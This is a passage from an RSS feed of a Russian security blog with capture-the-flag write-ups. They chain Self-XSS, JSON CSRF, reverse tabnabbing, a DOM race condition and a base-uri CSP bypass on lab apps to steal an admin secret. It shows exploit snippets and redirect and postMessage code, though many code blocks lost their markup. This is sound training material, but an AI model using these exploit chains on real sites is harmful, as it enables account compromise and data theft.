    <img src="https://img3.teletype.in/files/6b/a4/6ba4c25a-94a3-40a9-b7bc-352dd5def0c7.png" />
  </figure>
  <p id="n3tX">Подробнее:</p>
  <p id="BR6K"><a href="https://portswigger.net/burp/documentation/desktop/tools/dom-invader" target="_blank"><strong>PortSwigger: DOM Invader</strong></a></p>
  <p id="6hAG"><a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-invader" target="_blank"><strong>HackTricks: DOM Invader</strong></a></p>
  <h4 id="Prototype-Pollution-Scanner">Prototype Pollution Scanner</h4>
  <p id="mKui">Полезным может быть также утилита <strong>pphack</strong>, принцип её работы, такой же как и у любого другого сканера, и вы сможете попробовать самостоятельно посмотреть его на практике.</p>
  <figure id="RS4P" class="m_column">
    <img src="https://img3.teletype.in/files/62/6c/626cafa1-6972-42b7-894b-8c677fd3afb2.png" />
  </figure>
  <p id="yTJ0"><a href="https://github.com/edoardottt/pphack" target="_blank"><strong>Github: pphack</strong></a></p>
  <h4 id="github-BlackFan">github BlackFan</h4>
  <p id="pYNm">И не забываем про отличный <a href="https://github.com/BlackFan/client-side-prototype-pollution" target="_blank"><strong>репозиторий</strong></a>, с которым я настоятельно рекомендую ознакомиться при эксплуатации <strong>Prototype Pollution</strong>. На <strong>Payloads all the Things</strong> вы этого не найдете :)</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/XSS-Advanced-Level-pt-2-02-01</guid><link>https://teletype.in/@wr3dmast3r/XSS-Advanced-Level-pt-2-02-01?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/XSS-Advanced-Level-pt-2-02-01?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>XSS Advanced Level pt2</title><pubDate>Thu, 22 Feb 2024 17:01:22 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/0d/8d/0d8d19c9-749a-447e-bcc0-ab3a5ea50d0d.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/38/2d/382dafb8-bc3f-4aa3-92d0-a06c973b9371.png"></img>Когда речь заходит о прохождении лабораторных и личном развитии, то я всегда отдаю предпочтения сложным челленджам, подобным тому о котором сегодня пойдет речь. Прежде чем у меня получилось решить лабораторную, мне потребовалось подробнее изучить часть документации mozilla, подробнее изучить работу DOM-модели, вспомнить о свойствах и методах в HTML — это по даёт возможность мозгу взглянуть на привычные вещи под другим углом и узнать что-то новое.]]></description><content:encoded><![CDATA[
  <figure id="oJmw" class="m_column">
    <img src="https://img4.teletype.in/files/38/2d/382dafb8-bc3f-4aa3-92d0-a06c973b9371.png" />
  </figure>
  <p id="mWuM">Когда речь заходит о прохождении лабораторных и личном развитии, то я всегда отдаю предпочтения сложным челленджам, подобным тому о котором сегодня пойдет речь. Прежде чем у меня получилось решить лабораторную, мне потребовалось подробнее изучить часть документации <a href="https://developer.mozilla.org/ru/docs/Web" target="_blank"><strong>mozilla</strong></a>, подробнее изучить работу <a href="https://developer.mozilla.org/ru/docs/Web/API/Document_Object_Model/Introduction" target="_blank"><strong>DOM-модели</strong></a>, вспомнить о свойствах и методах в <strong>HTML</strong> — это по даёт возможность мозгу взглянуть на привычные вещи под другим углом и узнать что-то новое.</p>
  <blockquote id="uvd5">В статье будут показаны принципы работы <a href="https://developer.mozilla.org/ru/docs/Web/API/Window/postMessage" target="_blank"><strong>postMessage</strong></a>, <a href="https://developer.mozilla.org/ru/docs/Web/API/Worker/message_event" target="_blank"><strong>onMessage</strong></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/open" target="_blank"><strong>window.open</strong></a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/opener" target="_blank"><strong>window.opener</strong></a> и многое другое.</blockquote>
  <p id="4atD">Увидев название лабораторной, связанное с <strong>Self-XSS</strong> и <strong>Race Condition</strong>, я сначала не совсем понял, как это может работать совместно, но если при решении задачи действовать поэтапно, разбираясь в каждом нюансе, решение уже не кажется чем-то сложным, поэтому начнём с самого начала.</p>
  <h3 id="Self-XSS">Self-XSS</h3>
  <p id="Wegx">При входе в приложение перед нами появляется панель аутентификации, и в ней есть уязвимое поле — <strong>username</strong>:</p>
  <figure id="derz" class="m_column">
    <img src="https://img3.teletype.in/files/a6/56/a656f264-681f-486b-a2d0-bf6d8b6fd19e.png" />
  </figure>
  <p id="QVHK">Первая уязвимость, которую мы встречаем — это <strong>Self-XSS</strong>.</p>
  <p id="FF72">Полезная нагрузка для <strong>XSS</strong> выглядит так:</p>
  <figure id="oJEl" class="m_column">
    <img src="https://img3.teletype.in/files/a9/7d/a97d9e0d-3727-4b5b-a0fd-c88792b2c529.png" />
  </figure>
  <blockquote id="Hr3P">Наша цель — захватить <strong>secret</strong> администратора.</blockquote>
  <p id="pI6x">Чтобы понять, как вывести этот элемент, заходим в инспектор и копируем <strong>CSS-селектор</strong> нашего <strong>secret</strong>:</p>
  <figure id="y4uZ" class="m_column">
    <img src="https://img4.teletype.in/files/fd/c3/fdc35256-8e7b-4567-842d-e11bc3d0d858.png" />
  </figure>
  <p id="yWxh">Изменим полезную нагрузку для вывода <strong>secret</strong>:</p>
  <figure id="tzHc" class="m_column">
    <img src="https://img2.teletype.in/files/91/c0/91c03c04-6dd1-426f-8b00-ecf787cd7fd3.png" />
  </figure>
  <p id="9LsP">Теперь необходимо доработать полезную нагрузку, чтобы она отправляла секрет на наш сервер, а данные кодировались и передавались без потерь.</p>
  <p id="9yUx">Проверяем и получаем ответ на свой сервер:</p>
  <figure id="dr0m" class="m_column">
    <img src="https://img4.teletype.in/files/32/9d/329d77a6-d7c0-4d7c-81d5-8632d3b320a6.png" />
  </figure>
  <figure id="LUW8" class="m_column">
    <img src="https://img2.teletype.in/files/5f/cb/5fcbae7f-4c15-4fb6-bbfe-fa991a84e9ce.png" />
  </figure>
  <p id="XJG6"><strong>Self-XSS</strong> работает как нужно, но возникает вопрос: каким образом мы можем внедрить полезную нагрузку, если она находится в имени пользователя?</p>
  <p id="yO6g">Ведь, если <strong>username</strong> будет отличным от имени администратора, вход будет выполнен в совершенно другой аккаунт, и мы не украдём секрет.</p>
  <h3 id="Race-Condition-DOM-Model">Race Condition DOM Model</h3>
  <p id="y979">Для решения возникшей проблемы постараемся разобраться, что происходит при входе в профиль пользователя.</p>
  <blockquote id="psHt">Включаем <strong>intercept</strong> и следим за тем, как рендерится <strong>DOM-модель</strong>.</blockquote>
  <p id="FsI5">1. При нажатии кнопки <strong>login</strong> происходит <strong>POST-запрос</strong> на роут <strong>/login</strong> и передача <strong>username</strong> и <strong>secret</strong> в <strong>JSON</strong>:</p>
  <figure id="a3bn" class="m_column">
    <img src="https://img4.teletype.in/files/bf/48/bf488008-8ff9-400a-945f-56327b15e9ec.png" />
  </figure>
  <p id="rlaB">2. После входа в аккаунт происходит <strong>GET-запрос</strong> на <strong>/profile</strong>, который открывает наш профиль:</p>
  <figure id="7FUc" class="m_column">
    <img src="https://img1.teletype.in/files/c6/49/c649ddbf-6122-4adc-857a-264feada4c20.png" />
  </figure>
  <p id="4IgT">3. И дальше самое интересное: как можно заметить, <strong>username</strong> до сих пор не отобразился, а <strong>secret</strong> уже отрисован на странице. Следующий запрос который идёт на роут <strong>/api/me</strong>, который как раз таки и возвращает наш <strong>username</strong> по <strong>cookie</strong>:</p>
  <figure id="7aoa" class="m_column">
    <img src="https://img3.teletype.in/files/a4/55/a455f038-0e46-4f37-945d-e51b61316b5b.png" />
  </figure>
  <p id="LJxg">Такое поведение происходит из-за того, что <strong>DOM-модель</strong> рендерится сверху вниз, и скрипт, который отвечает за «отрисовку» <strong>username</strong>, выполняется в самом конце:</p>
  <figure id="LxVa" class="m_column">
    <img src="https://img1.teletype.in/files/48/5d/485dfc66-f696-458d-80db-0d694fe67857.png" />
  </figure>
  <blockquote id="n9XZ">Сеансовые <strong>cookie</strong> содержат внутри себя наш <strong>username</strong> и <strong>secret</strong>, но, к сожалению, мы не может их подделать или манипулировать ими из-за флага <strong>HttpOnly</strong>. Следовательно, вектор с <strong>cookie</strong> придётся отбросить..</blockquote>
  <p id="gVmO">В итоге получается, что нам необходимо создать эксплойт, который сначала запросит <strong>/profile</strong> с <strong>secret&#x27;ом</strong> администратора, а затем в отдельном окне осуществит запрос на роут <strong>/login</strong> с полем <strong>username</strong>, содержащим полезную нагрузку. Если это будет происходить достаточно быстро, то сеансовые <strong>cookie</strong> будут затёрты, и запрос на <strong>/api/me</strong> подтянет <strong>username</strong>, который содержит полезную нагрузку.</p>
  <h3 id="CSRF">CSRF</h3>
  <blockquote id="vQm1">Для начала реализуем рабочую <strong>CSRF,</strong> которая будет передавать необходимые нам данные в <strong>JSON</strong>. В лабораторной не проверяется <strong>Content-Type</strong>, поэтому можно передать <strong>JSON </strong>с помощью <strong>form</strong>.</blockquote>
  <p id="3ZJ2">Сгенерированный PoC в Burp не срабатывает, так как в конце body добавляется знак =</p>
  <figure id="dU1o" class="m_column">
    <img src="https://img1.teletype.in/files/0e/b7/0eb71da7-abef-490d-9fb2-7f07ed9b06ee.png" />
  </figure>
  <p id="ZQPM">Обратившись к <a href="https://book.hacktricks.xyz/pentesting-web/csrf-cross-site-request-forgery" target="_blank"><strong>Hacktricks</strong></a>, я нашел способ передать в запросе <strong>JSON</strong>:</p>
  <figure id="p4sl" class="m_column">
    <img src="https://img1.teletype.in/files/04/a5/04a5536a-6c7f-460d-83e4-dedf8cb7c42e.png" />
  </figure>
  <p id="le6q">Редактируем эксплойт:</p>
  <pre id="ou7K">
 
  
    
   
  
  history.pushState(&#x27;&#x27;, &#x27;&#x27;, &#x27;/&#x27;);
  document.forms[0].submit();
  
 

</pre>
  <p id="mqp7">Получаем успешную подделку запроса:</p>
  <figure id="fvrt" class="m_column">
    <img src="https://img4.teletype.in/files/fa/3f/fa3fd00d-d69d-4f87-aebd-15e95ffc7a2a.png" />
  </figure>
  <p id="ibVk">Для успешной атаки нам необходимо несколько условностей:</p>
  <p id="tJEa">1. Первым делом должна открыться страница <strong>/profile</strong>, где будет отрендерен <strong>secret </strong>администратора</p>
  <p id="DLZV">2. Вторым по порядку должен быть осуществлен запрос на <strong>/login</strong> с полезной нагрузкой для <strong>XSS</strong></p>
  <p id="jenN">3. После этого должен быть выполнен запроc на <strong>/api/me</strong> с другим сеансом, который вернёт на страницу полезную нагрузку из другого аккаунта</p>
  <blockquote id="ReBB">Прежде чем у меня получилось реализовать данную атаку, мне пришлось вспомнить немного теории.</blockquote>
  <h3 id="window.opener">window.opener</h3>
  <p id="vVEu">Существует такая уязвимость как <a href="https://book.hacktricks.xyz/pentesting-web/reverse-tab-nabbing" target="_blank"><strong>ReverseTabNabbing</strong></a></p>
  <p id="KZPV"><strong>ReverseTabNabbing</strong> — это вид атаки, который используется для перехвата браузера пользователя после того, как он кликает по внешней ссылке на сайте. Эта уязвимость основана на использовании свойства <strong>target=&quot;_ blank&quot;</strong> при создании <strong>HTML-ссылок</strong>, которое открывает новую вкладку или окно браузера.</p>
  <p id="0LBn">Когда пользователь кликает на такую ссылку, атакующий сайт может исполнять <strong>JavaScript-код</strong>, который изменяет адрес (<strong>URL</strong>) предыдущей страницы (станицы, откуда была открыта ссылка) на фишинговый сайт посредством объекта <strong>window.opener</strong>. Если пользователь затем вернется на предыдущую вкладку, он увидит поддельную страницу вместо ожидаемой, что может привести к различным мошенническим схемам (например, к краже паролей).</p>
  <blockquote id="RTZH">Для защиты от <strong>ReverseTabNabbing</strong> при создании ссылок с атрибутом <strong><code>target=&quot;_ blank&quot;</code></strong> нужно также добавлять атрибут <strong><code>rel=&quot;noopener noreferrer&quot;</code></strong>, который предотвратит перехват предыдущей вкладки через JavaScript..</blockquote>
  <p id="HS92">Посмотрим, как это выглядит на практике. Cоздаем три страницы:</p>
  <p id="0I58"><strong>vulnerable.html:</strong></p>
  <pre id="QEcO">

Victim Site
Controlled by wr3dmast3r


</pre>
  <p id="HvNF"><strong>malicious.html:</strong></p>
  <pre id="PrW6">
 
 
 window.opener.location = &quot;http://127.0.0.1:8000/malicious_redir.html&quot;;
 
 

</pre>
  <p id="4wTO"><strong>malicious_redir.html:</strong></p>
  <pre id="5tSo">

wr3dmast3r attacked you


</pre>
  <p id="VoDA">После создания страниц поднимем простой HTTP-сервер (например, с помощью модуля <strong>Python: pythom3 -m http.server</strong>), а затем откроем <strong>vulnerable.html</strong>. После щелчка по ссылке обращаем внимание, как изменится исходный URL веб-страницы (URL страницы, откуда был осуществлён переход по вредоносной ссылке).</p>
  <figure id="kyJY" class="m_column">
    <img src="https://img3.teletype.in/files/6b/3d/6b3de1c4-0afd-436f-b386-dfdb49d4ca42.png" />
    <figcaption>1</figcaption>
  </figure>
  <figure id="zzry" class="m_column">
    <img src="https://img2.teletype.in/files/de/a3/dea37ba5-6538-47a7-a728-6b50a30d858b.png" />
    <figcaption>2</figcaption>
  </figure>
  <figure id="0ucG" class="m_column">
    <img src="https://img4.teletype.in/files/b8/fa/b8faae59-04ac-4ef8-be77-d00bbc1d20f0.png" />
    <figcaption>3</figcaption>
  </figure>
  <p id="33sK">Открытая в начале страница сменилась на подконтрольную нам. Таким образом на простом примере мы рассмотрели реализацию данной атаки.</p>
  <h3 id="Self-XSS-+-CSRF-+-ReverseTabNabbing-+-Race-Condition">Self-XSS + CSRF + ReverseTabNabbing + Race Condition</h3>
  <p id="sg8f">Теперь необходимо собрать все вводные и воспользоваться изученной информацией для решения лабораторной.</p>
  <p id="4IPX"><strong>index.html:</strong></p>
  <pre id="QFgn">
 PoC
 
 


 PoC
 
  const csrf = window.open(&quot;/csrf.html&quot;)
  window.onmessage = () =&gt; {
  window.location = &quot;https://url/profile&quot;
  }
 

</pre>
  <p id="3fgm">Это будет нашей страницей, куда мы перенаправим пользователя.</p>
  <p id="PDzK">Рядом создадим ещё один HTML-документ:</p>
  <p id="XaKS"><strong>csrf.html:</strong></p>
  <pre id="QVxk">
PoC


 CSRF
  
   
  
 
  window.opener.postMessage({}, &quot;*&quot;)
  form.submit();
 


</pre>
  <blockquote id="XXrR">Одинарные кавычки внутри полезной нагрузки для <strong>Self-XSS</strong> необходимо заменить на <strong>&amp;apos</strong>; для соблюдения корректного синтаксиса.</blockquote>
  <p id="jyjF">Постараюсь подробнее остановиться на некоторых деталях нашего эксплойта:</p>
  <h4 id="Начнём-с-postMessage:">Начнём с <a href="https://developer.mozilla.org/ru/docs/Web/API/Window/postMessage" target="_blank">postMessage</a>:</h4>
  <pre id="phXb">window.opener.postMessage({}, &quot;*&quot;)
</pre>
  <p id="WPFp">Эта строка кода используется для отправки сообщения родительскому окну (<strong>опенеру</strong>), которое открыло текущее окно или вкладку, через механизм оконного сообщения HTML5. Метод <strong>postMessage</strong> позволяет безопасно осуществлять междоменное общение между окнами; в данном случае отправляется <strong>пустой объект {}</strong>, и в качестве <strong>второго параметра указывается </strong>«<strong>*</strong>», что позволяет принимать это сообщение любому<strong> origin</strong>.</p>
  <blockquote id="C6Hv">Однако использование звёздочки («*») в реальных приложениях потенциально небезопасно, так как это позволяет любому сайту получить сообщение; по возможности следует указывать конкретный <strong>origin</strong>, которому вы доверяете.</blockquote>
  <h4 id="onMessage:"><a href="https://developer.mozilla.org/ru/docs/Web/API/Worker/message_event" target="_blank">onMessage</a>:</h4>
  <pre id="3660">window.onmessage = () =&gt; { window.location = &quot;https://url/profile&quot; }
</pre>
  <p id="lkU3">Данный участок кода назначает обработчик события для <strong>onmessage</strong> на текущее окно (или вкладку). Событие <strong>onmessage</strong> возникает, когда текущее окно получает сообщение через механизм <strong>postMessage</strong>. В данном случае функция обработчика немедленно перенаправляет браузер на новый URL, указанный в строке «<strong>https://url/profile</strong>». Это означает, что как только сообщение будет получено, браузер переходит на страницу профиля по заданному адресу.</p>
  <h4 id="Как-это-работает-совместно:">Как это работает совместно:</h4>
  <p id="stfn">Когда форма отправляется (<strong>form.submit()</strong>), происходит отправка данных формы на сервер. Перед этим, <strong>window.opener.postMessage({}, &quot;*&quot;)</strong> отправляет сигнал в родительское окно о том, что форма была отправлена. Родительское окно в своих скриптах слушает <strong>onmessage</strong>, и выполняет заложенного в него действие.</p>
  <h4 id="Пробуем-атаковать-себя.">Пробуем атаковать себя.</h4>
  <p id="4Iyn">Создаем учетную запись с любым <strong>username</strong> и любым <strong>secret</strong>:</p>
  <figure id="GhGf" class="m_column">
    <img src="https://img2.teletype.in/files/17/71/1771585d-0965-4dc5-a001-4a88678c6904.png" />
  </figure>
  <blockquote id="VgW7">Закрываем страницу и переходим по ссылке на наш эксплойт, точнее на <strong>index.html</strong>.</blockquote>
  <p id="owvh">У нас открылось дополнительное окно, которое свидетельствует об успешном входе в аккаунт и корректной отработке <strong>CSRF</strong>:</p>
  <figure id="eWIc" class="m_column">
    <img src="https://img3.teletype.in/files/2c/93/2c93b972-3869-456e-9b57-b7137bde9ec0.png" />
  </figure>
  <p id="hZ6s"><strong>index.html</strong> в это время превратился в ссылку на <strong>/profile</strong>:</p>
  <figure id="XRtL" class="m_column">
    <img src="https://img4.teletype.in/files/b6/b3/b6b34b86-f963-4085-9342-fa2f1c4789e8.png" />
  </figure>
  <p id="F436">Наш сервер получил запрос, и это и есть созданный нами <strong>secret</strong>:</p>
  <figure id="FT4s" class="m_column">
    <img src="https://img2.teletype.in/files/55/2e/552ed56e-1a59-4260-8b01-65d746b857ba.png" />
  </figure>
  <blockquote id="aOQO">Важно уточнить, что для успешного осуществления атаки критически важен порядок действий: сначала должен быть открыт профиль, и только после этого должна произойти отправка формы.</blockquote>
  <pre id="FAV1"> 
  window.opener.postMessage({}, &quot;*&quot;)
  form.submit();
 
</pre>
  <blockquote id="xi18">Дело остаётся за малым: размещаем эксплойт на нашем сервере и отправляем ссылку администратору.</blockquote>
  <p id="B4tS">Очень приятно было представить решение на лабораторную которую решило такое маленькое количество человек :)</p>
  <figure id="rnNb" class="m_column">
    <img src="https://img3.teletype.in/files/e6/73/e673813f-d51d-434e-8eaf-70ca5fe70aca.png" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/XSS-Advanced-Level-01-09</guid><link>https://teletype.in/@wr3dmast3r/XSS-Advanced-Level-01-09?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/XSS-Advanced-Level-01-09?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>XSS Advanced Level</title><pubDate>Thu, 22 Feb 2024 17:04:53 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/8d/e6/8de6016a-55bc-4790-8700-96baf0baa4a9.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/38/c5/38c5c92d-031d-4595-bc45-39002b6f6c06.png"></img>Я часто встречаю XSS, которые не дают возможности использовать что-то кроме вызова алерта, или какие-нибудь Self-XSS без возможности эксплуатации. Однако, если приложить достаточно усилий, то можно докрутить даже многие Self-XSS, используя их в комбинации с другими уязвимостями, которые на первый взгляд кажутся неэксплуатируемыми.]]></description><content:encoded><![CDATA[
  <figure id="1iYr" class="m_column">
    <img src="https://img4.teletype.in/files/38/c5/38c5c92d-031d-4595-bc45-39002b6f6c06.png" />
  </figure>
  <p id="z7nv">Я часто встречаю <strong>XSS,</strong> которые не дают возможности использовать что-то кроме вызова алерта, или какие-нибудь <strong>Self-XSS</strong> без возможности эксплуатации. Однако, если приложить достаточно усилий, то можно докрутить даже многие <strong>Self-XSS</strong>, используя их в комбинации с другими уязвимостями, которые на первый взгляд кажутся неэксплуатируемыми.</p>
  <p id="XOJ9">В сегодняшней статье я постарался раскрыть два интересных вектора эксплуатации таких <strong>XSS</strong>: в первом случае мы сталкиваемся с <strong>HTML-инъекцией</strong> и <strong>Self-XSS</strong>, а во втором случае эксплуатируем <strong>XSS</strong> с помощью отравления кэша и <strong>Service-Worker</strong>.</p>
  <h3 id="Self-XSS-+-HTML-Injection-+-CSRF">Self-XSS + HTML Injection + CSRF</h3>
  <p id="nCJ9">Рассмотрим уязвимое приложение. Перед нами страница, которая представляет собой блог, и нам доступна функциональность авторизации в приложении:</p>
  <figure id="QfYv" class="m_column">
    <img src="https://img1.teletype.in/files/83/5a/835a763e-d3eb-41fb-b4ea-d1456554b4da.png" />
  </figure>
  <p id="OsXc">После входа в учетную запись нам открывается страница редактирования поста для главной страницы:</p>
  <figure id="goUN" class="m_column">
    <img src="https://img2.teletype.in/files/98/2a/982a5c02-6b25-4f13-ac7b-a0f2333cdc4f.png" />
  </figure>
  <p id="opXw">После создания пост сразу отображается в нашем блоге:</p>
  <figure id="mgZE" class="m_column">
    <img src="https://img4.teletype.in/files/f1/3e/f13eae97-eec2-4bc1-a2f3-cfadaef72000.png" />
  </figure>
  <p id="gCJn">Во время редактирования поста я заметил, что ввод в поле <strong>tags</strong> сразу рефлектится на странице:</p>
  <figure id="nvYo" class="m_column">
    <img src="https://img3.teletype.in/files/6a/4b/6a4b1936-6109-4305-ac66-cf0933a0c29c.png" />
  </figure>
  <p id="TGhD">Наш ввод попадает в тег сценария, и мы можем попробовать выйти из этого <strong>querySelector</strong> и выполнить любой js, для этого необходимо закрыть селектор:</p>
  <pre id="tLbm">&quot;-alert(1)-&quot;
</pre>
  <figure id="4F0R" class="m_column">
    <img src="https://img4.teletype.in/files/f5/5e/f55ec237-e26c-4ce9-8a32-25d6296e0a26.png" />
  </figure>
  <p id="PwUO"><strong>По условию задачи, Self-XSS должна вывести пользователю его никнейм при открытии страницы, поэтому изменим полезную нагрузку под условие.</strong><br />Нам необходимо получить элемент из html-страницы, который содержит никнейм пользователя. Название класса можно получить, воспользовавшись <strong>Inpector&#x27;oм</strong> относительно поля с нашим никнеймом:</p>
  <figure id="Uk56" class="m_column">
    <img src="https://img4.teletype.in/files/f0/67/f06747a1-25f8-4f3d-8954-4d09bd52bba4.png" />
  </figure>
  <p id="Vqes">Получаем все элементы этого класса:</p>
  <p id="0PAs"><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName" target="_blank"><strong>getElementsByClassName</strong></a></p>
  <pre id="sWYh">&quot;-alert(document.getElementsByClassName(&quot;navbar-brand&quot;))-&quot;
</pre>
  <p id="CpQY">Так как это массив, получаем его первый элемент:</p>
  <pre id="DrYD">&quot;-alert(document.getElementsByClassName(&quot;navbar-brand&quot;)[0])-&quot;
</pre>
  <p id="nR8s">Преобразуем полученный элемент в текст с помощью <strong>innerText</strong> для корректного отображения:</p>
  <p id="VB0K"><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLElement/innerText" target="_blank"><strong>innerText</strong></a></p>
  <pre id="kOyY">&quot;-alert(document.getElementsByClassName(&quot;navbar-brand&quot;)[0].innerText)-&quot;
</pre>
  <figure id="5pwO" class="m_column">
    <img src="https://img4.teletype.in/files/f4/61/f461f321-62f4-490d-9a18-5839cc4b134a.png" />
  </figure>
  <p id="4elv"><strong>Так как это Self-XSS доступна только во время редактирования, нам необходимо найти еще одну уязвимость, которая позволит добиться импакта. Обычно такие XSS можно использовать в сочетании с CSRF, но в данной лабораторной существует ограничение в виде csrf-токена, который не позволит подделать запрос.</strong></p>
  <h4 id="HTML-Injection">HTML-Injection</h4>
  <p id="QFSw">После сохранения поста на странице блога кроме полезной нагрузки также отображается сохраненный в поле <strong>content</strong> тэг <strong>button</strong>:</p>
  <figure id="RKeM" class="m_column">
    <img src="https://img2.teletype.in/files/9c/b6/9cb62df6-68be-4adf-9086-f3cb87c74fd5.png" />
  </figure>
  <figure id="ehSn" class="m_column">
    <img src="https://img1.teletype.in/files/4e/24/4e2404a7-fd21-46e9-8679-fbbf8eea6c61.png" />
  </figure>
  <p id="s1M5"><strong>CSRF-токен,</strong> который используется в последующем запросе, такой же, как и при написании комментария, поэтому я попробовал связать добавленную мной кнопку с формой комментариев:</p>
  <pre id="HkAc">Click Me
</pre>
  <p id="Sj7s">После нажатия на внедренную кнопку можно увидеть, что запрос на <strong>/edit</strong> выполняется, но появляется предупреждение о пустых полях <strong>content</strong> и <strong>tags:</strong></p>
  <figure id="LYq5" class="m_column">
    <img src="https://img2.teletype.in/files/5c/34/5c343782-eba9-40dc-b6dc-d29cccd226e3.png" />
  </figure>
  <p id="zevr">Для того чтобы заполнить эти поля, я использую теги <strong>input, </strong>связываю их со своей кнопкой и добавляю полезную нагрузку для <strong>Self-XSS</strong>:</p>
  <pre id="78up">Click Me


</pre>
  <p id="v91E">Полезная нагрузка отображается на странице:</p>
  <figure id="Nwhj" class="m_column">
    <img src="https://img4.teletype.in/files/bf/58/bf588b93-ee7e-438e-907f-5daab5589950.png" />
  </figure>
  <p id="DqK0">После нажатия на кнопку мы можем увидеть подтверждение того, что <strong>Self-XSS</strong> внедрилась, и пост отредактировался:</p>
  <figure id="Bsd0" class="m_column">
    <img src="https://img1.teletype.in/files/40/e3/40e393ad-63e2-4c3a-b518-c7be49c5a839.png" />
  </figure>
  <p id="zthr">Теперь, если зайти в редактирование поста, полезная нагрузка срабатывает:</p>
  <figure id="BufD" class="m_column">
    <img src="https://img2.teletype.in/files/93/c5/93c57fd3-14ac-48d1-be6e-ae08453c0367.png" />
  </figure>
  <p id="V6Qx"><strong>Казалось бы, этого достаточно, но до сих пор от пользователя требуется несколько действий: нажать кнопку, перейти на страницу редактирования. </strong></p>
  <p id="mLpD"><strong>Необходимо попробовать найти более универсальный способ эксплуатации.</strong></p>
  <p id="RW6u">Для поиска решения посмотрим <strong>js,</strong> который работает на странице:</p>
  <figure id="iaJ8" class="m_column">
    <img src="https://img3.teletype.in/files/2d/bf/2dbfd624-a5c9-421e-9901-627cb07a5374.png" />
  </figure>
  <p id="Plfz"><strong>Если кто-то получает доступ по ссылке и добавляет GET-параметр share, то selector выберет элемент из DOM, у которого есть кнопка share-button, и он нажмет эту кнопку, что позволит нам убрать одно действие из эксплуатации.</strong></p>
  <p id="EWZ2">Отредактируем нашу полезную нагрузку <strong>HTML-инъекции</strong>:</p>
  <pre id="gVYn">Click Me


</pre>
  <p id="qZpz">После перехода по ссылке на блог с полезной нагрузкой ничего не происходит, но если мы добавим в запрос <strong>GET-параметр</strong> <strong>share со значением 1, </strong>то полезная нагрузка успешно отработает:</p>
  <pre id="TvQt">https://challenge-1222.intigriti.io/blog/94e7b406-4620-49fe-b5fb-eac35f737b3f?share=1
</pre>
  <figure id="gy9b" class="m_column">
    <img src="https://img4.teletype.in/files/f9/27/f92721ac-ee72-4f6d-b902-93ec86cbac1f.png" />
  </figure>
  <p id="mL5I"><strong>Осталось убрать последнее действие: добавить редирект пользователя на /edit после добавления полезной нагрузки.</strong></p>
  <p id="vo0o">Перенаправление на странице можно добавить с помощью <strong>html</strong>:</p>
  <p id="F5tQ">Итоговая полезная нагрузка выглядит так:</p>
  <pre id="IZna">Click Me


</pre>
  <p id="lQq0">Полезная нагрузка успешно отрабатывает, и<strong> Self-XSS</strong> выполняется в одно действие:</p>
  <figure id="wdBB" class="m_column">
    <img src="https://img2.teletype.in/files/1c/17/1c176cec-c0a9-47cb-a5eb-07989a390e15.png" />
  </figure>
  <h4 id="CSP-Bypass">CSP Bypass</h4>
  <p id="ZHxr"><strong>Существует ещё один вариант решения задачи с помощью HTML-инъекции и проблеме в CSP.</strong></p>
  <p id="U70x">Обратимся к ресурсу<a href="https://csp-evaluator.withgoogle.com/" target="_blank"><strong>CSP-evaluator</strong></a>для проверки директив:</p>
  <figure id="YDGm" class="m_column">
    <img src="https://img3.teletype.in/files/27/8e/278edee1-7733-4a80-a398-ae34688525a7.png" />
  </figure>
  <p id="SROs"><strong>Отсюда можно понять, что мы можем устанавливать базовый url адрес для загрузки внешних js-скриптов.</strong></p>
  <p id="gKLN">Разместим у себя на сервере <strong>js-файл</strong> с полезной нагрузкой по пути <strong>static/js/bootstrap.bundle.min.js, </strong>так какданный путь раскрывается в коде страницы. Содержимое <strong>js-файла</strong> будет таким:</p>
  <pre id="iGsU">alert(document.getElementsByClassName(&quot;navbar-brand&quot;)[0].innerText)
</pre>
  <p id="0KGe">Полезная нагрузка для объявления <strong>base-uri</strong> выглядит следующим образом, ее нужно добавить в поле <strong>Content</strong> при редактировании блога:</p>
  <p id="b3vT">После открытия ссылки <strong>Self-XSS</strong> сразу отрабатывает:</p>
  <figure id="srE5" class="m_column">
    <img src="https://img4.teletype.in/files/f5/e7/f5e70d85-e82e-4050-afe7-dd2f0e13f563.png" />
  </figure>
  <h3 id="XSS-+-WebCachePoisoning-+-File-Upload-+-service-worker">XSS + WebCachePoisoning + File Upload + service worker</h3>
  <p id="6vkn">Лабораторная состоит из двух частей: сама лабораторная и <strong>API,</strong> на который нужно будет отправить ссылку с полезной нагрузкой:</p>
  <pre id="Qmxj">https://api.challenge-1122.intigriti.io/admin?url=
</pre>
  <p id="stR1">Изначально регистрация недоступна из-за отсутствия возможности ввести <strong>username</strong>, но данное ограничение обходится, если удалить <strong>readonly=&quot;&quot;</strong> из тэга <strong>input</strong> для поля <strong>username</strong>, после чего мы можем успешно зарегистрироваться:</p>
  <figure id="afUF" class="m_column">
    <img src="https://img3.teletype.in/files/6b/2a/6b2a5b7f-27cd-440f-a99b-2ab99ae56a9f.png" />
  </figure>
  <p id="S0N3">В приложении доступны функции добавления заметок и загрузки аватара:</p>
  <figure id="dudz" class="m_column">
    <img src="https://img4.teletype.in/files/bd/b5/bdb51dea-5e11-4101-8721-9ce4e9531433.png" />
  </figure>
  <p id="HLix">Можно заметить, что аватар грузится на сторонний домен, и это <strong>CDN</strong>:</p>
  <figure id="Dm87" class="m_column">
